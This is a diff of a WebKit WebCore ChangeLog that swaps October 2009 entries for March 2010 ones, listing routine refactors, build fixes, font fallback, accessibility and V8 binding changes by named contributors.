+2010-03-11  Gavin Barraclough  <barraclough@apple.com>
 
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::paint):
+        Reviewed by Oliver Hunt.
 
-2009-10-07  Simon Hausmann  <simon.hausmann@nokia.com>
+        https://bugs.webkit.org/show_bug.cgi?id=36041
+        Remove unnecessary differences in common code between WebCore::StringImpl & JSC::UStringImpl
 
-        Fix the Qt build by adding the missing files to the build.
+        Much of the code in WebCore::StringImpl and JSC::UStringImpl is now very similar,
+        but has trivial and unnecessary formatting differences, such as the exact wording
+        of comments, missing ASSERTs, functions implemented in the .h vs .cpp etc.
 
-        * WebCore.pro:
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::empty): Reordered in file, made empty()->characters() return a non-null value to match JSC.
+        (WebCore::StringImpl::createUninitialized): Added overflow check.
+        (WebCore::StringImpl::create): Reordered in file.
+        (WebCore::StringImpl::sharedBuffer): Reordered in file.
+        * platform/text/StringImpl.h:
+        (WebCore::StringImpl::): Remove ThreadGlobalData as friend, move SharableUChar & SharedUChar to WebCore namespace.
+        (WebCore::StringImpl::StringImpl): Made static constructor method (used to create empty string) take arguments, to match JSC & prevent accidental use.
+        (WebCore::StringImpl::setHash): Added missing ASSERT.
+        (WebCore::StringImpl::adopt): Make adpot work with Vectors with a non-zero inline capacity.
+        (WebCore::StringImpl::characters): Mark as const to match JSC.
+        (WebCore::StringImpl::hash): Use !m_hash instead of m_hash == 0.
+        (WebCore::StringImpl::computeHash): Remove redundant 'inline'.
 
-2009-10-07  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+2010-03-11  Mark Rowe  <mrowe@apple.com>
 
-        Reviewed by Xan Lopez.
+        Reviewed by David Kilzer.
 
-        Fix incorrect convertion of double into int while assigning it to
-        a float.
+        <rdar://problem/7745082> Make it possible to build WebKit for older Mac OS X versions from the current Mac OS X version
 
-        * platform/graphics/gtk/SimpleFontDataGtk.cpp:
-        (WebCore::SimpleFontData::platformInit):
-        * platform/graphics/gtk/SimpleFontDataPango.cpp:
-        (WebCore::SimpleFontData::platformInit):
+        Default to using the appropriate SDK if the target Mac OS X version is not the current Mac OS X version.
 
-2009-10-07  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+        * Configurations/Base.xcconfig:
 
-        Reviewed by Xan Lopez.
+2010-03-11  Jungshik Shin  <jshin@chromium.org>
 
-        Fix rounding error issues in height calculation in 64 bits.
+        [Chromium]: Plane 2 characters are rendered "blank" 
+         (not even empty boxes) on Windows even when there are fonts to
+         cover them. 
 
-        Already covered by existing tests.
+        https://bugs.webkit.org/show_bug.cgi?id=35605
 
-        * platform/graphics/gtk/SimpleFontDataGtk.cpp:
-        (WebCore::SimpleFontData::platformInit):
-        * platform/graphics/gtk/SimpleFontDataPango.cpp:
-        (WebCore::SimpleFontData::platformInit):
+        Test:LayoutTests/fast/text/international/plane2.html 
 
-2009-10-07  Shinichiro Hamaji  <hamaji@chromium.org>
+        * platform/graphics/chromium/FontCacheChromiumWin.cpp:
+        (WebCore::LookupAltName): Add two ExtB fonts to the array (namePairs) that are used for Plane 2 character rendering.
+        (WebCore::FontCache::getFontDataForCharacters): Add two more fonts to the fallback font list
+        * platform/graphics/chromium/FontUtilsChromiumWin.cpp:
+        (WebCore::getFallbackFamily): Fix the fallback font lookup to cover Plane 2 (CJK ExtB).
 
-        Reviewed by Eric Seidel.
+2010-03-11  Leandro Pereira  <leandro@profusion.mobi>
 
-        Dual lines in css2.1 layout tests do not match:
-        https://bugs.webkit.org/show_bug.cgi?id=23262
+        Reviewed by Holger Freyther.
 
-        Now we can put a counter node as the next sibling of a reset node.
-        Re-layout the counter content when the count is updated.
+        Add EFL port files to platform/efl.
+        http://webkit.org/b/35889
 
-        Tests: fast/css/counters/t1204-increment-00-c-o.html
-               fast/css/counters/t1204-increment-01-c-o.html
+        * platform/efl/SystemTimeEfl.cpp: Added.
 
-        * rendering/CounterNode.cpp:
-        (WebCore::CounterNode::recount):
-        * rendering/RenderCounter.cpp:
-        (WebCore::findPlaceForCounter):
+2010-03-11  Mark Rowe  <mrowe@apple.com>
 
-2009-10-06  Xan Lopez  <xlopez@igalia.com>
+        Reviewed by Tim Hatcher.
 
-        Try to fix the GTKbuild.
+        <rdar://problem/7745082> Make it possible to build WebKit for older Mac OS X versions from the current Mac OS X version
 
-        * GNUmakefile.am:
+        Introduce TARGET_MAC_OS_X_VERSION_MAJOR to represent the Mac OS X version that is being targeted.  It defaults to the
+        current Mac OS X version unless otherwise specified.
 
-2009-10-06  Adam Barth  <abarth@webkit.org>
+        Key off TARGET_MAC_OS_X_VERSION_MAJOR where we'd previously been keying off MAC_OS_X_VERSION_MAJOR.
 
-        Reviewed by Adam Barth.
+        Explicitly map from the target Mac OS X version to the preferred compiler since Xcode's default compiler choice
+        may not be usable when targetting a different Mac OS X version.
 
-        Removed unused member variable from FrameLoader
-        https://bugs.webkit.org/show_bug.cgi?id=30146
+        Key off TARGET_GCC_VERSION rather than MAC_OS_X_VERSION_MAJOR in locations where we'd previously been keying off
+        MAC_OS_X_VERSION_MAJOR but the decision is really related to the compiler version being used.
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::FrameLoader):
-        * loader/FrameLoader.h:
+        * Configurations/Base.xcconfig:
+        * Configurations/DebugRelease.xcconfig:
+        * Configurations/FeatureDefines.xcconfig:
+        * Configurations/Version.xcconfig:
+        * Configurations/WebCore.xcconfig:
 
-2009-10-06  David Levin  <levin@chromium.org>
+2010-03-11  Anders Carlsson  <andersca@apple.com>
 
-        Reviewed by NOBODY (build fix).
+        Reviewed by David Hyatt.
 
-        A few small/trivial tweaks to the last build fix.
+        Remove invalidateContents, it isn't used and it never makes sense to only invalidate the contents.
 
-        * bindings/scripts/CodeGeneratorV8.pm:
+        * loader/EmptyClients.h:
+        * page/Chrome.cpp:
+        * page/Chrome.h:
+        * page/ChromeClient.h:
+        * platform/HostWindow.h:
 
-2009-10-06  David Levin  <levin@chromium.org>
+2010-03-11  Nate Chapin  <japhet@chromium.org>
 
         Reviewed by Dimitri Glazkov.
 
-        [Chromium] Need to adjust MessagePort, etc. code for the post clone work done.
-        https://bugs.webkit.org/show_bug.cgi?id=30147
+        [V8] Remove DOMObjectsInclude.h and update headers accordingly.
 
-        No change in functionality so no new tests.
+        https://bugs.webkit.org/show_bug.cgi?id=36036
 
         * WebCore.gypi:
-        * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/v8/SerializedScriptValue.h: Added.
-         A very simple implementation of SerializedScriptValue
-         that only works for strings.
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8DedicatedWorkerContextCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8MessageEventCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8MessagePortCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WorkerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-
-2009-10-06  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Brady Eidson.
-
-        Fix for <rdar://problem/7271202>
-        Dispatch resource load delegate functions for the media element.
-        Since we don't get the required callbacks from the media engine,
-        just fake the parameters to the delegate functions as best as possible.
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::loadResource):
-        (WebCore::HTMLMediaElement::isSafeToLoadURL):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::willLoadMediaElementURL):
-        * loader/FrameLoader.h:
-
-2009-10-06  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by NOBODY (Build fix).
-
-        More build fixes.
-
-        * bindings/js/SerializedScriptValue.cpp:
-        (WebCore::DeserializingTreeWalker::getProperty):
-        (WebCore::TeardownTreeWalker::getProperty):
-        * bindings/js/SerializedScriptValue.h:
-        (WebCore::SerializedScriptValue::SerializedScriptValue):
-
-2009-10-06  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by NOBODY (Build fix).
-
-        Build and formatting fix.
-
-        * ForwardingHeaders/runtime/ExceptionHelpers.h: Added.
-        * bindings/js/SerializedScriptValue.cpp:
-        * bindings/js/SerializedScriptValue.h:
-        (WebCore::SerializedScriptValueData::operator bool):
-        (WebCore::SerializedScriptValueData::release):
-        (WebCore::SerializedScriptValue::release):
-        (WebCore::SerializedScriptValue::toString):
-        (WebCore::SerializedScriptValue::~SerializedScriptValue):
-        (WebCore::SerializedScriptValue::SerializedScriptValue):
-
-2009-10-05  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Gavin Barraclough.
-
-        It should be possible to post (clone) built-in JS objects to Workers
-        https://bugs.webkit.org/show_bug.cgi?id=22878
+        * bindings/v8/DOMData.h:
+        * bindings/v8/DOMDataStore.h:
+        * bindings/v8/DOMObjectsInclude.h: Removed.
+        * bindings/v8/V8DOMMap.cpp:
+        * bindings/v8/V8DOMWindowShell.cpp:
+        * bindings/v8/V8DOMWrapper.cpp:
+        * bindings/v8/V8GCController.cpp:
+        * bindings/v8/V8Proxy.cpp:
 
-        Implement object cloning semantics for postMessage.  Currently only
-        a partial implementation of the spec -- cloning of File, FileList,
-        ImageData, and RegExp were left out as they would have significantly
-        increased patch size.
+2010-03-11  Simon Fraser  <simon.fraser@apple.com>
 
-        Cloning requires multiple tree walks so we use a templated tree
-        walk function, allowing us to share a single implementation for
-        serialization, deserialization, and eventual destruction of the
-        serialized object tree.
+        Reviewed by Mark Rowe.
 
-        Test: fast/dom/Window/window-postmessage-clone.html
+        Remove duplicate entries revealed after sorting.
 
-        * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::postMessage):
-        * bindings/js/JSMessageEventCustom.cpp:
-        (WebCore::JSMessageEvent::initMessageEvent):
-        * bindings/js/JSMessagePortCustom.h:
-        (WebCore::handlePostMessage):
-        * bindings/js/SerializedScriptValue.cpp: Added.
-        (WebCore::SerializedObject::set):
-        (WebCore::SerializedObject::names):
-        (WebCore::SerializedObject::values):
-        (WebCore::SerializedObject::create):
-        (WebCore::SerializedObject::clear):
-        (WebCore::SerializedObject::SerializedObject):
-        (WebCore::SerializedArray::setIndex):
-        (WebCore::SerializedArray::canDoFastRead):
-        (WebCore::SerializedArray::getIndex):
-        (WebCore::SerializedArray::getSparseIndex):
-        (WebCore::SerializedArray::length):
-        (WebCore::SerializedArray::create):
-        (WebCore::SerializedArray::clear):
-        (WebCore::SerializedArray::SerializedArray):
-        (WebCore::SerializedScriptValueData::SerializedScriptValueData):
-        (WebCore::SharedSerializedData::asArray):
-        (WebCore::SharedSerializedData::asObject):
-        (WebCore::):
-        (WebCore::walk):
-        (WebCore::BaseWalker::BaseWalker):
-        (WebCore::BaseWalker::shouldTerminate):
-        (WebCore::BaseWalker::ticksUntilNextCheck):
-        (WebCore::BaseWalker::didTimeOut):
-        (WebCore::BaseWalker::throwStackOverflow):
-        (WebCore::BaseWalker::throwInterruptedException):
-        (WebCore::SerializingTreeWalker::SerializingTreeWalker):
-        (WebCore::SerializingTreeWalker::null):
-        (WebCore::SerializingTreeWalker::isArray):
-        (WebCore::SerializingTreeWalker::isObject):
-        (WebCore::SerializingTreeWalker::asInputArray):
-        (WebCore::SerializingTreeWalker::asInputObject):
-        (WebCore::SerializingTreeWalker::createOutputArray):
-        (WebCore::SerializingTreeWalker::createOutputObject):
-        (WebCore::SerializingTreeWalker::length):
-        (WebCore::SerializingTreeWalker::canDoFastRead):
-        (WebCore::SerializingTreeWalker::getIndex):
-        (WebCore::SerializingTreeWalker::getSparseIndex):
-        (WebCore::SerializingTreeWalker::getProperty):
-        (WebCore::SerializingTreeWalker::convertIfTerminal):
-        (WebCore::SerializingTreeWalker::getPropertyNames):
-        (WebCore::SerializingTreeWalker::putIndex):
-        (WebCore::SerializingTreeWalker::putProperty):
-        (WebCore::SerializingTreeWalker::startArray):
-        (WebCore::SerializingTreeWalker::endArray):
-        (WebCore::SerializingTreeWalker::startObject):
-        (WebCore::SerializingTreeWalker::endObject):
-        (WebCore::SerializedScriptValueData::serialize):
-        (WebCore::DeserializingTreeWalker::DeserializingTreeWalker):
-        (WebCore::DeserializingTreeWalker::null):
-        (WebCore::DeserializingTreeWalker::isArray):
-        (WebCore::DeserializingTreeWalker::isObject):
-        (WebCore::DeserializingTreeWalker::asInputArray):
-        (WebCore::DeserializingTreeWalker::asInputObject):
-        (WebCore::DeserializingTreeWalker::createOutputArray):
-        (WebCore::DeserializingTreeWalker::createOutputObject):
-        (WebCore::DeserializingTreeWalker::length):
-        (WebCore::DeserializingTreeWalker::canDoFastRead):
-        (WebCore::DeserializingTreeWalker::getIndex):
-        (WebCore::DeserializingTreeWalker::getSparseIndex):
-        (WebCore::DeserializingTreeWalker::getProperty):
-        (WebCore::DeserializingTreeWalker::convertIfTerminal):
-        (WebCore::DeserializingTreeWalker::getPropertyNames):
-        (WebCore::DeserializingTreeWalker::putIndex):
-        (WebCore::DeserializingTreeWalker::putProperty):
-        (WebCore::DeserializingTreeWalker::startArray):
-        (WebCore::DeserializingTreeWalker::endArray):
-        (WebCore::DeserializingTreeWalker::startObject):
-        (WebCore::DeserializingTreeWalker::endObject):
-        (WebCore::SerializedScriptValueData::deserialize):
-        (WebCore::TeardownTreeWalker::shouldTerminate):
-        (WebCore::TeardownTreeWalker::ticksUntilNextCheck):
-        (WebCore::TeardownTreeWalker::didTimeOut):
-        (WebCore::TeardownTreeWalker::throwStackOverflow):
-        (WebCore::TeardownTreeWalker::throwInterruptedException):
-        (WebCore::TeardownTreeWalker::null):
-        (WebCore::TeardownTreeWalker::isArray):
-        (WebCore::TeardownTreeWalker::isObject):
-        (WebCore::TeardownTreeWalker::asInputArray):
-        (WebCore::TeardownTreeWalker::asInputObject):
-        (WebCore::TeardownTreeWalker::createOutputArray):
-        (WebCore::TeardownTreeWalker::createOutputObject):
-        (WebCore::TeardownTreeWalker::length):
-        (WebCore::TeardownTreeWalker::canDoFastRead):
-        (WebCore::TeardownTreeWalker::getIndex):
-        (WebCore::TeardownTreeWalker::getSparseIndex):
-        (WebCore::TeardownTreeWalker::getProperty):
-        (WebCore::TeardownTreeWalker::convertIfTerminal):
-        (WebCore::TeardownTreeWalker::getPropertyNames):
-        (WebCore::TeardownTreeWalker::putIndex):
-        (WebCore::TeardownTreeWalker::putProperty):
-        (WebCore::TeardownTreeWalker::startArray):
-        (WebCore::TeardownTreeWalker::endArray):
-        (WebCore::TeardownTreeWalker::startObject):
-        (WebCore::TeardownTreeWalker::endObject):
-        (WebCore::SerializedScriptValueData::tearDownSerializedData):
-        * bindings/js/SerializedScriptValue.h: Added.
-        (WebCore::SharedSerializedData::~SharedSerializedData):
-        (WebCore::SerializedScriptValueData::):
-        (WebCore::SerializedScriptValueData::type):
-        (WebCore::SerializedScriptValueData::~SerializedScriptValueData):
-        (WebCore::SerializedScriptValueData::SerializedScriptValueData):
-        (WebCore::SerializedScriptValueData::asImmediate):
-        (WebCore::SerializedScriptValueData::asDouble):
-        (WebCore::SerializedScriptValueData::asString):
-        (WebCore::SerializedScriptValueData::asObject):
-        (WebCore::SerializedScriptValueData::asArray):
-        (WebCore::SerializedScriptValueData::operator bool ):
-        (WebCore::SerializedScriptValueData::release):
-        (WebCore::SerializedScriptValue::create):
-        (WebCore::SerializedScriptValue::release):
-        (WebCore::SerializedScriptValue::toString):
-        (WebCore::SerializedScriptValue::deserialize):
-        (WebCore::SerializedScriptValue::~SerializedScriptValue):
-        (WebCore::SerializedScriptValue::SerializedScriptValue):
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * bindings/scripts/CodeGeneratorObjC.pm:
-        * dom/MessageEvent.cpp:
-        (WebCore::MessageEvent::MessageEvent):
-        (WebCore::MessageEvent::initMessageEvent):
-        * dom/MessageEvent.h:
-        (WebCore::MessageEvent::create):
-        (WebCore::MessageEvent::data):
-        * dom/MessageEvent.idl:
-        * dom/MessagePort.cpp:
-        (WebCore::MessagePort::postMessage):
-        * dom/MessagePort.h:
-        * dom/MessagePortChannel.cpp:
-        (WebCore::MessagePortChannel::EventData::create):
-        (WebCore::MessagePortChannel::EventData::EventData):
-        * dom/MessagePortChannel.h:
-        (WebCore::MessagePortChannel::EventData::message):
-        * page/DOMWindow.cpp:
-        (WebCore::PostMessageTimer::PostMessageTimer):
-        (WebCore::DOMWindow::postMessage):
-        * page/DOMWindow.h:
-        * page/DOMWindow.idl:
-        * page/EventSource.cpp:
-        (WebCore::EventSource::createMessageEvent):
-        * websockets/WebSocket.cpp:
-        (WebCore::WebSocket::didReceiveMessage):
-        * workers/DedicatedWorkerContext.cpp:
-        (WebCore::DedicatedWorkerContext::postMessage):
-        * workers/DedicatedWorkerContext.h:
-        * workers/DedicatedWorkerContext.idl:
-        * workers/Worker.cpp:
-        (WebCore::Worker::postMessage):
-        * workers/Worker.h:
-        * workers/Worker.idl:
-        * workers/WorkerContextProxy.h:
-        * workers/WorkerMessagingProxy.cpp:
-        (WebCore::MessageWorkerContextTask::create):
-        (WebCore::MessageWorkerContextTask::MessageWorkerContextTask):
-        (WebCore::MessageWorkerTask::create):
-        (WebCore::MessageWorkerTask::MessageWorkerTask):
-        (WebCore::WorkerMessagingProxy::postMessageToWorkerObject):
-        (WebCore::WorkerMessagingProxy::postMessageToWorkerContext):
-        * workers/WorkerMessagingProxy.h:
-        * workers/WorkerObjectProxy.h:
-
-2009-10-06  Adam Barth  <abarth@webkit.org>
-
-        Unreviewed build fix for Windows.
 
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::load):
-
-2009-10-06  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        Move FrameLoader::canLoad to SecurityOrigin
-        https://bugs.webkit.org/show_bug.cgi?id=30111
-
-        * WebCore.base.exp:
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::isSafeToLoadURL):
-        * loader/Cache.cpp:
-        (WebCore::Cache::requestResource):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::loadSubframe):
-        (WebCore::FrameLoader::loadPlugin):
-        (WebCore::FrameLoader::loadFrameRequest):
-        (WebCore::FrameLoader::loadResourceSynchronously):
-        (WebCore::FrameLoader::createJavaAppletWidget):
-        * loader/FrameLoader.h:
-        * loader/SubresourceLoader.cpp:
-        (WebCore::SubresourceLoader::create):
-        * page/SecurityOrigin.cpp:
-        (WebCore::SecurityOrigin::canLoad):
-        (WebCore::SecurityOrigin::shouldHideReferrer):
-        * page/SecurityOrigin.h:
-
-2009-10-06  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        Move setLocalLoadPolicy and friends to SecurityOrigin
-        https://bugs.webkit.org/show_bug.cgi?id=30110
-
-        These have more to do with security policies than with loading frames.
-
-        * WebCore.base.exp:
-        * dom/Document.cpp:
-        (WebCore::Document::initSecurityContext):
-        * loader/Cache.cpp:
-        (WebCore::Cache::requestResource):
-        * loader/FrameLoader.cpp:
-        * loader/FrameLoader.h:
-        * loader/SubresourceLoader.cpp:
-        (WebCore::SubresourceLoader::create):
-        * page/SecurityOrigin.cpp:
-        (WebCore::SecurityOrigin::setLocalLoadPolicy):
-        (WebCore::SecurityOrigin::restrictAccessToLocal):
-        (WebCore::SecurityOrigin::allowSubstituteDataAccessToLocal):
-        * page/SecurityOrigin.h:
-        (WebCore::SecurityOrigin::):
-
-2009-10-06  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Brady Eidson.
-
-        Preparation for <http://webkit.org/b/30104>.
-        Inspector should show cookies of sub-resources on the page.
-        
-        Implement getRawCookies for CFNetwork for Windows, so we can see more
-        than just a key/value pair for Cookies when we are on Windows.
-
-        * platform/network/win/CookieJarCFNetWin.cpp:
-        (WebCore::getRawCookies):
-
-2009-10-06  Dave Hyatt  <hyatt@apple.com>
-
-        Reviewed by Adam Roben.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30132, make beforeload work with <link> elements and
-        XML processing instructions.
-
-        Fix up ProcessingInstruction's setData call so that it actually updates a stylesheet when the
-        data gets changed.
-
-        Move dispatchBeforeLoadedEvent to ContainerNode so all Elements (and ProcessingInstruction) can
-        access it.
-
-        Added fast/dom/beforeload/link-before-load.html
-
-        * dom/ContainerNode.cpp:
-        (WebCore::ContainerNode::dispatchBeforeLoadEvent):
-        * dom/ContainerNode.h:
-        * dom/ProcessingInstruction.cpp:
-        (WebCore::ProcessingInstruction::checkStyleSheet):
-        (WebCore::ProcessingInstruction::setData):
-        * dom/ScriptElement.cpp:
-        (WebCore::ScriptElementData::requestScript):
-        * dom/ScriptElement.h:
-        * dom/XMLTokenizerLibxml2.cpp:
-        (WebCore::XMLTokenizer::endElementNs):
-        * html/HTMLLinkElement.cpp:
-        (WebCore::HTMLLinkElement::parseMappedAttribute):
-        (WebCore::HTMLLinkElement::process):
-        * html/HTMLScriptElement.cpp:
-        (WebCore::HTMLScriptElement::forAttributeValue):
-        * html/HTMLScriptElement.h:
-        * svg/SVGScriptElement.cpp:
-        * svg/SVGScriptElement.h:
-
-2009-10-06  Simon Fraser  <simon.fraser@apple.com>
+2010-03-11  Simon Fraser  <simon.fraser@apple.com>
 
         Reviewed by Mark Rowe.
 
-        accessibility/media-element.html crashes (and has incorrect result)
-        https://bugs.webkit.org/show_bug.cgi?id=30108
-
-        Fix up the accessibilty label for the newly added fullscreen button,
-        and update the test result accordingly.
-
-        * accessibility/AccessibilityMediaControls.cpp:
-        (WebCore::AccessibilityMediaControl::controlTypeName):
-
-2009-10-06  Kelly Norton  <knorton@google.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30028>
-        Multiple calls to SetFrontendProxyObject can leave an InspectorTimelineAgent with an invalid
-        InspectorFrontend.
-
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::setFrontendProxyObject): Adds a check for an existing timeline agent.
-
-2009-10-06  Antti Koivisto  <antti@apple.com>
-
-        Reviewed by Dave Kilzer.
-
-        Move textRects to the right category in DOM.mm. Include DOMPrivate.h to ensure that the interfaces match.
-
-        * bindings/objc/DOM.mm:
-        (-[DOMNode textRects]):
-
-2009-10-06  Benjamin C Meyer  <bmeyer@rim.com>
-
-        Reviewed by Ariya Hidayat.
-        
-        Match the behavior of other WebKit browser and have the first url of the drag data be the url passed in declareAndWriteDragImage and set the text of the drag data to be the title argument.
-        
-        Manual test: Drag the readability js link from http://lab.arc90.com/experiments/readability/
-        
-        * platform/qt/ClipboardQt.cpp:
-        (WebCore::ClipboardQt::declareAndWriteDragImage):
-
-2009-10-06  Kent Tamura  <tkent@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        Implement min/max attributes, ValidityState.rangeUnderflow and
-        ValidityState.rangeOverflow for <input type=number> and <input type=range>
-        https://bugs.webkit.org/show_bug.cgi?id=29069
-        
-        HTMLInputElement::max and min are not defined for COM because they
-        conflict with the standard min() and max() macros.
-
-        Tests: fast/forms/ValidityState-rangeOverflow-number.html
-               fast/forms/ValidityState-rangeOverflow-range.html
-               fast/forms/ValidityState-rangeUnderflow-number.html
-               fast/forms/ValidityState-rangeUnderflow-range.html
-               fast/forms/input-minmax.html
-
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::rangeUnderflow):
-        (WebCore::HTMLInputElement::rangeOverflow):
-        (WebCore::HTMLInputElement::rangeMinimum):
-        (WebCore::HTMLInputElement::rangeMaximum):
-        * html/HTMLInputElement.h:
-        * html/HTMLInputElement.idl:
-        * html/ValidityState.cpp:
-        (WebCore::ValidityState::rangeUnderflow):
-        (WebCore::ValidityState::rangeOverflow):
-        * html/ValidityState.h:
-        * rendering/RenderSlider.cpp:
-        (WebCore::SliderRange::SliderRange):
-        (WebCore::SliderRange::valueFromElement):
-
-2009-10-06  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        Move m_openedByDOM to Page
-        https://bugs.webkit.org/show_bug.cgi?id=30109
-
-        We only need one instance of m_openedByDOM per page, we should move it
-        to a page-scoped object.  Notice that it's only ever touched for the
-        main frame.
-
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::createWindow):
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::createWindow):
-        * loader/FrameLoader.cpp:
-        * loader/FrameLoader.h:
-        * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::close):
-        * page/Page.cpp:
-        (WebCore::Page::Page):
-        (WebCore::Page::openedByDOM):
-        (WebCore::Page::setOpenedByDOM):
-        * page/Page.h:
-
-2009-10-06  Carol Szabo  <carol.szabo@nokia.com>
+        Sort the project file (also removing some bogus spaces that caused Xcode to rewrite the file
+        every time you opened it).
 
-        Reviewed by Ariya Hidayat.
-
-        [Qt] Some functions in GraphicsContext do not work
-        as expected if the associated painter has no clipping.
-        https://bugs.webkit.org/show_bug.cgi?id=29691
-
-        No new tests are associated with this because DumpRenderTree
-        always sets clipping on the painter, thus it would never hit 
-        the test case, but fast/box-shadow/basic-shadows.html is a
-        good example of what happens if the clipping is not set by
-        the user of QtWebKit.
-
-        * platform/graphics/qt/GraphicsContextQt.cpp:
-        (WebCore::GraphicsContext::clipOut):
-        (WebCore::GraphicsContext::clipOutEllipseInRect):
-        Fixed to handle the case that there is no clipping
-        before the call.
+        * WebCore.xcodeproj/project.pbxproj:
 
-2009-10-06  Dave Hyatt  <hyatt@apple.com>
+2010-03-11  Nate Chapin  <japhet@chromium.org>
 
-        Reviewed by Adam Roben.
+        Reviewed by Dimitri Glazkov.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30131, make beforeload fire on script elements.
+        Fix style issues and improve comments from 
+        http://trac.webkit.org/changeset/55853.
 
-        Added tests in fast/dom/beforeload/.
+        https://bugs.webkit.org/show_bug.cgi?id=36029
 
-        * dom/ScriptElement.cpp:
-        (WebCore::ScriptElementData::requestScript):
-        * dom/ScriptElement.h:
-        * dom/XMLTokenizerLibxml2.cpp:
-        (WebCore::XMLTokenizer::endElementNs):
-        * html/HTMLAttributeNames.in:
-        * html/HTMLScriptElement.cpp:
-        (WebCore::HTMLScriptElement::parseMappedAttribute):
-        (WebCore::HTMLScriptElement::dispatchBeforeLoadEvent):
-        * html/HTMLScriptElement.h:
-        * html/HTMLTokenizer.cpp:
-        (WebCore::HTMLTokenizer::scriptHandler):
-        * svg/SVGScriptElement.cpp:
-        (WebCore::SVGScriptElement::dispatchBeforeLoadEvent):
-        * svg/SVGScriptElement.h:
+        * platform/animation/TimingFunction.h:
+        (WebCore::TimingFunction::TimingFunction):
 
-2009-10-06  Xan Lopez  <xlopez@igalia.com>
+2010-03-11  Chris Fleizach  <cfleizach@apple.com>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Beth Dakin.
 
-        https://bugs.webkit.org/show_bug.cgi?id=25526
-        [Gtk] Additional support is needed for caret browsing
+        accessibilityIsIgnoredBase() needs to respect when platform says include
+        https://bugs.webkit.org/show_bug.cgi?id=36025
 
-        Enable caret movement commands also when caret browsing setting is
-        enabled.
+        Changed accessibilityIsIgnoredBase() to return a policy instead of a yes/no
+        answer. This allows the platform to make a yes decision on an element.
 
-        * editing/EditorCommand.cpp:
-        (WebCore::caretBrowsingEnabled):
-        (WebCore::enabledVisibleSelectionOrCaretBrowsing):
-        (WebCore::enabledInEditableTextOrCaretBrowsing):
-        (WebCore::CommandEntry::):
-        * manual-tests/gtk/caret-browsing.html: Added.
+        * accessibility/AccessibilityList.cpp:
+        (WebCore::AccessibilityList::accessibilityIsIgnored):
+        * accessibility/AccessibilityListBox.cpp:
+        (WebCore::AccessibilityListBox::accessibilityIsIgnored):
+        * accessibility/AccessibilityObject.h:
+        (WebCore::):
+        (WebCore::AccessibilityObject::accessibilityIgnoreAttachment):
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnoredBase):
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/AccessibilitySlider.cpp:
+        (WebCore::AccessibilitySlider::accessibilityIsIgnored):
+        * accessibility/AccessibilityTable.cpp:
+        (WebCore::AccessibilityTable::accessibilityIsIgnored):
+        * accessibility/AccessibilityTableCell.cpp:
+        (WebCore::AccessibilityTableCell::accessibilityIsIgnored):
+        * accessibility/AccessibilityTableRow.cpp:
+        (WebCore::AccessibilityTableRow::accessibilityIsIgnored):
+        * accessibility/chromium/AccessibilityObjectChromium.cpp:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+        * accessibility/gtk/AccessibilityObjectAtk.cpp:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+        * accessibility/mac/AccessibilityObjectMac.mm:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+        * accessibility/qt/AccessibilityObjectQt.cpp:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+        * accessibility/win/AccessibilityObjectWin.cpp:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+        * accessibility/wx/AccessibilityObjectWx.cpp:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
 
-2009-10-06  Anton Muhin  <antonm@chromium>
+2010-03-11  Kenneth Russell  <kbr@google.com>
 
         Reviewed by Dimitri Glazkov.
 
-        Non standard, but popular exetension allows automagically
-        turn a function into a namespace resolver.  Support that in
-        Chromium as well.
